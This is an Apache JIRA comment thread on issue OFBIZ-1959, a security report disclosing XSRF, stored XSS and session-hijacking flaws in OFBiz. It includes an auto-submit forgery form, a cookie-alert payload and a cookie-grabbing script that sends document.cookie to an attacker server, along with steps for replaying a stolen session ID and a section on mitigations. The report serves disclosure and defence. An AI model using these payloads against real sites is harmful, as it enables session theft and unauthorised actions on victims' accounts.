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https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12630879#action_12630879
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Michele Orru commented on OFBIZ-1959:
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Of course I tested all of them on Ofbiz, and the examples that you can see in
my post are all relevant to Ofbiz.
The action on the form method is
https://127.0.0.1:8443/catalog/control/createProduct.
The internalName is an attribute of Product.
- Every attack was tested on the latest Ofbiz SVN trunk.
- The attacks I posted are not only XSS: XSRF is definitely not an XSS.
- The XSRF and Session Hijacking attacks were not already present in your
Issue Tracker.
- One possible mitigation is to add new functionalities to
org.ofbiz.base.util.UtilValidate, that is from ofbiz APIs.
The XSS ticket is still open from 2 years, maybe because as Jaques Le Roux said
these attacks are not
critical issues for you. When I will have time I will fix them, but maybe we
can discuss how to protect Ofbiz
from the latest threats instead of don't do nothing.
{quote}
I don't see any thing relative to ofbiz in this post
just general Java.
have you tested this with ofbiz to verify.
also we have other issues that referred to XSS.
Search the Jira for it.
{quote}
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and
> mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security
> issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end
> requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and
> so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST
> request
> parameters are never "fortified" to prevent XSRF: no random token protection
> can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the
> attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like
> http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose
> description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the
> middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following
> innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
>
> action="https://127.0.0.1:8443/catalog/control/createProduct";>
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price,
> content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of
> the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent
> to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in
> the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the
> browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some
> stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a
> needed
> parameter is quite un-useful and so prone to store our malicious code) with
> something
> like:
>
> <input type=hidden name="internalName"
>
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that
> only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET
> request from
> our victims, extract the useful parameters and store them in a file or DB, in
> a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his
> maxlength
> is 255 characters: this gives us a great advantage when creating a complex
> injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js";>
>
> The malicious code will look as the following one:
>
> <script>
> var
> str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
>
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check"
> can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL
> (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid
> credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new
> cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value
> with the grabbed
> one, and we make the previous request another time (just refresh on the login
> page), then
> we are riding the same victim session. If we are lucky and it's an admin, we
> can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be
> deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will
> mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must
> be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI
> project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add
> to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the
> algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
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